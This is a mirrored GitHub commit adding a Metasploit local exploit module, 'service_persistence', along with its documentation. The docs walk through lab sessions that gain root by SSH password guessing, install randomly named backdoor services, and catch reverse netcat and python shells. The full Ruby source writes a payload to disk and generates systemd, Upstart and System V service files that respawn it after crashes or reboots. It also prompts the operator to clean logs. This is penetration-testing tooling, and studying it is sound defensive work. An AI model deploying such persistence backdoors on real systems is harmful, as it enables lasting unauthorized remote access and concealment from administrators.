1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-11-05 14:57:30 +01:00

service persistence

This commit is contained in:
h00die 2016-06-22 19:22:18 -04:00
parent 718f36f1af
commit 18a3bf5f62
2 changed files with 519 additions and 0 deletions

View File

@ -0,0 +1,238 @@
### Creating A Testing Environment
This module has been tested against:
1. Kali 2.0 (System V)
2. Ubuntu 14.04 (Upstart)
3. Ubuntu 16.04 (systemd)
4. Centos 5 (System V)
## Verification Steps
1. Start msfconsole
2. Exploit a box via whatever method
4. Do: `use exploit/linux/local/service_persistence`
5. Do: `set session #`
6. Do: `set verbose true`
7. Do: `set payload cmd/unix/reverse_python` or `payload cmd/unix/reverse_netcat` depending on system.
8. Optional Do: `set SHELLAPTH /bin` if needed for compatibility on remote system.
9. Do: `set lhost`
10. Do: `exploit`
## Options
**target**
There are several targets selectable, which all have their own issues.
0. Automatic: Detect the service handler automatically based on running `which` to find the admin binaries
1. System V: There is no automated restart, so while you'll get a shell, if it crashes, you'll need to wait for a init shift to restart the process automatically (like a reboot). This logs to syslog or /var/log/<process>.log and .err
2. Upstart: Logs to its own file. This module is set to restart the shell after a 10sec pause, and do this forever.
3. systemd: This module is set to restart the shell after a 10sec pause, and do this forever.
**SHELLPATH**
If you need to change the location where the backdoor is written (like on CentOS 5), it can be done here. Default is /usr/local/bin
## Scenarios
### System V (Centos 5 - root - chkconfig)
Get initial access
msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > set rhosts 192.168.199.131
rhosts => 192.168.199.131
msf auxiliary(ssh_login) > set username root
username => root
msf auxiliary(ssh_login) > set password centos
password => centos
msf auxiliary(ssh_login) > exploit
[*] 192.168.199.131:22 SSH - Starting bruteforce
[+] 192.168.199.131:22 SSH - Success: 'root:centos' 'uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=root:system_r:unconfined_t:SystemLow-SystemHigh Linux localhost.localdomain 2.6.18-398.el5 #1 SMP Tue Sep 16 20:51:48 EDT 2014 i686 i686 i386 GNU/Linux '
[*] Command shell session 1 opened (192.168.199.128:49359 -> 192.168.199.131:22) at 2016-06-22 14:27:38 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Install our callback service (system_v w/ chkconfig). Note we change SHELLPATH since /usr/local/bin isnt in the path for CentOS 5 services.
msf auxiliary(ssh_login) > use exploit/linux/local/service_persistence
msf exploit(service_persistence) > set session 1
session => 1
msf exploit(service_persistence) > set verbose true
verbose => true
msf exploit(service_persistence) > set SHELLPATH /bin
SHELLPATH => /bin
msf exploit(service_persistence) > set payload cmd/unix/reverse_netcat
payload => cmd/unix/reverse_netcat
msf exploit(service_persistence) > set lhost 192.168.199.128
lhost => 192.168.199.128
msf exploit(service_persistence) > exploit
[*] Started reverse handler on 192.168.199.128:4444
[*] Writing backdoor to /bin/GUIJc
[*] Max line length is 65537
[*] Writing 95 bytes in 1 chunks of 329 bytes (octal-encoded), using printf
[*] Utilizing System_V
[*] Utilizing chkconfig
[*] Writing service: /etc/init.d/HqdezBF
[*] Max line length is 65537
[*] Writing 1825 bytes in 1 chunks of 6409 bytes (octal-encoded), using printf
[*] Enabling & starting our service
[*] Command shell session 2 opened (192.168.199.128:4444 -> 192.168.199.131:56182) at 2016-06-22 14:27:50 -0400
Reboot the box to prove persistence
reboot
^Z
Background session 2? [y/N] y
msf exploit(service_persistence) > use exploit/multi/handler
msf exploit(handler) > set payload cmd/unix/reverse_netcat
payload => cmd/unix/reverse_netcat
msf exploit(handler) > set lhost 192.168.199.128
lhost => 192.168.199.128
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.199.128:4444
[*] Starting the payload handler...
[*] Command shell session 3 opened (192.168.199.128:4444 -> 192.168.199.131:44744) at 2016-06-22 14:29:32 -0400
### Upstart (Ubuntu 14.04.4 Server - root)
Of note, I allowed Root login via SSH w/ password only to gain easy initial access
Get initial access
msf auxiliary(ssh_login) > exploit
[*] 10.10.60.175:22 SSH - Starting bruteforce
[+] 10.10.60.175:22 SSH - Success: 'root:ubuntu' 'uid=0(root) gid=0(root) groups=0(root) Linux ubuntu 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:27 UTC 2016 i686 i686 i686 GNU/Linux '
[*] Command shell session 1 opened (10.10.60.168:43945 -> 10.10.60.175:22) at 2016-06-22 08:03:15 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Install our callback service (Upstart)
msf auxiliary(ssh_login) > use exploit/linux/local/service_persistence
msf exploit(service_persistence) > set session 1
session => 1
msf exploit(service_persistence) > set verbose true
verbose => true
msf exploit(service_persistence) > set payload cmd/unix/reverse_python
payload => cmd/unix/reverse_python
msf exploit(service_persistence) > set lhost 10.10.60.168
lhost => 10.10.60.168
msf exploit(service_persistence) > exploit
[*] Started reverse handler on 10.10.60.168:4444
[*] Writing backdoor to /usr/local/bin/bmmjv
[*] Max line length is 65537
[*] Writing 429 bytes in 1 chunks of 1650 bytes (octal-encoded), using printf
[*] Utilizing Upstart
[*] Writing /etc/init/Hipnufl.conf
[*] Max line length is 65537
[*] Writing 236 bytes in 1 chunks of 874 bytes (octal-encoded), using printf
[*] Starting service
[*] Dont forget to clean logs: /var/log/upstart/Hipnufl.log
[*] Command shell session 5 opened (10.10.60.168:4444 -> 10.10.60.175:44368) at 2016-06-22 08:23:46 -0400
And now, we can kill the callback shell from our previous session
^Z
Background session 5? [y/N] y
msf exploit(service_persistence) > sessions -i 1
[*] Starting interaction with 1...
netstat -antp | grep 4444
tcp 0 0 10.10.60.175:44368 10.10.60.168:4444 ESTABLISHED 1783/bash
tcp 0 0 10.10.60.175:44370 10.10.60.168:4444 ESTABLISHED 1789/python
kill 1783
[*] 10.10.60.175 - Command shell session 5 closed. Reason: Died from EOFError
kill 1789
Now with a multi handler, we can catch Upstart restarting the process every 10sec
msf > use exploit/multi/handler
msf exploit(handler) > set payload cmd/unix/reverse_python
payload => cmd/unix/reverse_python
msf exploit(handler) > set lhost 10.10.60.168
lhost => 10.10.60.168
msf exploit(handler) > exploit
[*] Started reverse handler on 10.10.60.168:4444
[*] Starting the payload handler...
[*] Command shell session 3 opened (10.10.60.168:4444 -> 10.10.60.175:44390) at 2016-06-22 08:26:48 -0400
### systemd (Ubuntu 16.04 Server - root)
Ubuntu 16.04 doesn't have many of the default shell options, however `cmd/unix/reverse_netcat` works.
While python shellcode works on previous sytems, on 16.04 the path is `python3`, and therefore `python` will fail the shellcode.
Get initial access
msf exploit(handler) > use exploit/linux/local/service_persistence
msf exploit(service_persistence) > set session 1
session => 1
msf exploit(service_persistence) > set verbose true
verbose => true
msf exploit(service_persistence) > set payload cmd/unix/reverse_netcat
payload => cmd/unix/reverse_netcat
msf exploit(service_persistence) > set lhost 192.168.199.128
lhost => 192.168.199.128
msf exploit(service_persistence) > exploit
[*] Started reverse handler on 192.168.199.128:4444
[*] Writing backdoor to /usr/local/bin/JSRCF
[*] Max line length is 65537
[*] Writing 103 bytes in 1 chunks of 361 bytes (octal-encoded), using printf
[*] Utilizing systemd
[*] /lib/systemd/system/YelHpCx.service
[*] Max line length is 65537
[*] Writing 151 bytes in 1 chunks of 579 bytes (octal-encoded), using printf
[*] Enabling service
[*] Starting service
[*] Command shell session 7 opened (192.168.199.128:4444 -> 192.168.199.130:47050) at 2016-06-22 10:35:07 -0400
^Z
Background session 7? [y/N] y
Kill the process on the Ubuntu target box via local access #good_admin
root@ubuntu:/etc/systemd/system/multi-user.target.wants# netstat -antp | grep 4444
tcp 0 0 192.168.199.130:47052 192.168.199.128:4444 ESTABLISHED 5632/nc
root@ubuntu:/etc/systemd/system/multi-user.target.wants# kill 5632
And logically, we lose our shell
[*] 192.168.199.130 - Command shell session 7 closed. Reason: Died from EOFError
Now with a multi handler, we can catch systemd restarting the process every 10sec
msf exploit(service_persistence) > use exploit/multi/handler
msf exploit(handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.199.128 yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.199.128:4444
[*] Starting the payload handler...
[*] Command shell session 8 opened (192.168.199.128:4444 -> 192.168.199.130:47056) at 2016-06-22 10:37:30 -0400

View File

@ -0,0 +1,281 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/post/file'
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Unix
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Service Persistence',
'Description' => %q(
This module will create a service on the box, and mark it for auto-restart.
We need enough access to write service files and potentially restart services
Targets:
System V:
CentOS <= 5
Debian <= 6
Kali 2.0
Ubuntu <= 9.04
Upstart:
CentOS 6
Ubuntu >= 9.10, <= 14.10
systemd:
CentOS 7
Debian >=7, <=8
Ubuntu >= 15.04
Note: System V won't restart the service if it dies, only an init change (reboot etc) will restart it.
),
'License' => MSF_LICENSE,
'Author' =>
[
'h00die <mike@shorebreaksecurity.com>'
],
'Platform' => ['unix', 'linux'],
'Targets' =>
[
['Auto', {}],
['System V', { 'runlevel' => '2 3 4 5' }],
['Upstart', { 'runlevel' => '2345' }],
['systemd', {}]
],
'DefaultTarget' => 0,
'Arch' => ARCH_CMD,
'References' =>
[
['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples']
],
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'python netcat' # we need non-threaded/forked so the systems properly detect the service going down
}
},
'DefaultOptions' =>
{
'WfsDelay' => 5
},
'DisclosureDate' => 'Jan 1 1983', # system v release date
)
)
register_options(
[
OptPath.new('SHELLPATH', [true, 'Writable path to put our shell', '/usr/local/bin'])
], self.class
)
end
def exploit
backdoor = write_shell(datastore['SHELLPATH'])
path = backdoor.split(File::SEPARATOR)[0...-1].join('/')
file = backdoor.split(File::SEPARATOR)[-1]
case target.name
when 'System V'
system_v(path, file, target.opts['runlevel'], service_system_exists?('update-rc.d'))
when 'Upstart'
upstart(path, file, target.opts['runlevel'])
when 'systemd'
systemd(path, file)
else
if service_system_exists?('systemctl')
print_status('Utilizing systemd')
systemd(path, file)
end
if service_system_exists?('initctl')
print_status('Utilizing Upstart')
upstart(path, file, '2345')
end
has_updatercd = service_system_exists?('update-rc.d')
if has_updatercd || service_system_exists?('chkconfig') # centos 5
print_status('Utilizing System_V')
system_v(path, file, '2 3 4 5', has_updatercd)
else
print_error('Unable to detect service system')
register_file_for_cleanup(backdoor)
end
end
end
def service_system_exists?(command)
service_cmd = cmd_exec("which #{command}")
!(service_cmd.empty? || service_cmd.include?('no'))
end
def write_shell(path)
backdoor = "#{path}/#{Rex::Text.rand_text_alpha(5)}"
vprint_status("Writing backdoor to #{backdoor}")
write_file(backdoor, payload.encoded)
cmd_exec("chmod 711 #{backdoor}")
backdoor
end
def systemd(backdoor_path, backdoor_file)
# https://coreos.com/docs/launching-containers/launching/getting-started-with-systemd/
script = "[Unit]\n"
script << "Description=Start daemon at boot time\n"
script << "After=networking.service\n"
script << "Requires=networking.service\n"
script << "[Service]\n"
script << "RestartSec=10s\n"
script << "Restart=always\n"
script << "TimeoutStartSec=5\n"
script << "ExecStart=/bin/sh #{backdoor_path}#{File::SEPARATOR}#{backdoor_file}\n"
script << "[Install]\n"
script << "WantedBy=multi-user.target\n"
service_filename = Rex::Text.rand_text_alpha(7)
vprint_status("Writing service: /lib/systemd/system/#{service_filename}.service")
write_file("/lib/systemd/system/#{service_filename}.service", script)
vprint_status('Enabling service')
cmd_exec("systemctl enable #{service_filename}.service")
vprint_status('Starting service')
cmd_exec("systemctl start #{service_filename}.service")
end
def upstart(backdoor_path, backdoor_file, runlevel)
# http://blog.terminal.com/getting-started-with-upstart/
script = "description \"Start daemon at boot time\"\n"
script << "start on filesystem or runlevel [#{runlevel}]\n"
script << "stop on shutdown\n"
script << "script\n"
script << " cd #{backdoor_path}\n"
script << " echo $$ > /var/run/#{backdoor_file}.pid\n"
script << " exec #{backdoor_file}\n"
script << "end script\n"
script << "post-stop exec sleep 10\n"
script << "respawn\n"
script << "respawn limit unlimited\n"
service_filename = Rex::Text.rand_text_alpha(7)
vprint_status("Writing service: /etc/init/#{service_filename}.conf")
write_file("/etc/init/#{service_filename}.conf", script)
vprint_status('Starting service')
cmd_exec("initctl start #{service_filename}")
vprint_status("Dont forget to clean logs: /var/log/upstart/#{service_filename}.log")
end
def system_v(backdoor_path, backdoor_file, runlevel, has_updatercd)
if has_updatercd
print_status('Utilizing update-rc.d')
else
print_status('Utilizing chkconfig')
end
script = "#!/bin/sh\n"
script << "### BEGIN INIT INFO\n"
script << "# Provides: service\n"
script << "# Required-Start: $network\n"
script << "# Required-Stop: $network\n"
script << "# Default-Start: #{runlevel}\n"
script << "# Default-Stop: 0 1 6\n"
script << "# Short-Description: Start daemon at boot time\n"
script << "# Description: Enable service provided by daemon.\n"
script << "### END INIT INFO\n"
script << "dir=\"#{backdoor_path}\"\n"
script << "cmd=\"#{backdoor_file}\"\n"
script << "name=`basename $0`\n"
script << "pid_file=\"/var/run/$name.pid\"\n"
script << "stdout_log=\"/var/log/$name.log\"\n"
script << "stderr_log=\"/var/log/$name.err\"\n"
script << "get_pid() {\n"
script << " cat \"$pid_file\"\n"
script << "}\n"
script << "is_running() {\n"
script << " [ -f \"$pid_file\" ] && ps `get_pid` > /dev/null 2>&1\n"
script << "}\n"
script << "case \"$1\" in\n"
script << " start)\n"
script << " if is_running; then\n"
script << " echo \"Already started\"\n"
script << " else\n"
script << " echo \"Starting $name\"\n"
script << " cd \"$dir\"\n"
if has_updatercd
script << " sudo $cmd >> \"$stdout_log\" 2>> \"$stderr_log\" &\n"
else # CentOS didn't like sudo or su...
script << " $cmd >> \"$stdout_log\" 2>> \"$stderr_log\" &\n"
end
script << " echo $! > \"$pid_file\"\n"
script << " if ! is_running; then\n"
script << " echo \"Unable to start, see $stdout_log and $stderr_log\"\n"
script << " exit 1\n"
script << " fi\n"
script << " fi\n"
script << " ;;\n"
script << " stop)\n"
script << " if is_running; then\n"
script << " echo -n \"Stopping $name..\"\n"
script << " kill `get_pid`\n"
script << " for i in {1..10}\n"
script << " do\n"
script << " if ! is_running; then\n"
script << " break\n"
script << " fi\n"
script << " echo -n \".\"\n"
script << " sleep 1\n"
script << " done\n"
script << " echo\n"
script << " if is_running; then\n"
script << " echo \"Not stopped; may still be shutting down or shutdown may have failed\"\n"
script << " exit 1\n"
script << " else\n"
script << " echo \"Stopped\"\n"
script << " if [ -f \"$pid_file\" ]; then\n"
script << " rm \"$pid_file\"\n"
script << " fi\n"
script << " fi\n"
script << " else\n"
script << " echo \"Not running\"\n"
script << " fi\n"
script << " ;;\n"
script << " restart)\n"
script << " $0 stop\n"
script << " if is_running; then\n"
script << " echo \"Unable to stop, will not attempt to start\"\n"
script << " exit 1\n"
script << " fi\n"
script << " $0 start\n"
script << " ;;\n"
script << " status)\n"
script << " if is_running; then\n"
script << " echo \"Running\"\n"
script << " else\n"
script << " echo \"Stopped\"\n"
script << " exit 1\n"
script << " fi\n"
script << " ;;\n"
script << " *)\n"
script << " echo \"Usage: $0 {start|stop|restart|status}\"\n"
script << " exit 1\n"
script << " ;;\n"
script << "esac\n"
script << "exit 0\n"
service_filename = Rex::Text.rand_text_alpha(7)
vprint_status("Writing service: /etc/init.d/#{service_filename}")
write_file("/etc/init.d/#{service_filename}", script)
cmd_exec("chmod 755 /etc/init.d/#{service_filename}")
vprint_status('Enabling & starting our service')
if has_updatercd
cmd_exec("update-rc.d #{service_filename} defaults")
cmd_exec("update-rc.d #{service_filename} enable")
cmd_exec("service #{service_filename} start")
else # CentOS
cmd_exec("chkconfig --add #{service_filename}")
cmd_exec("chkconfig #{service_filename} on")
cmd_exec("/etc/init.d/#{service_filename} start")
end
end
end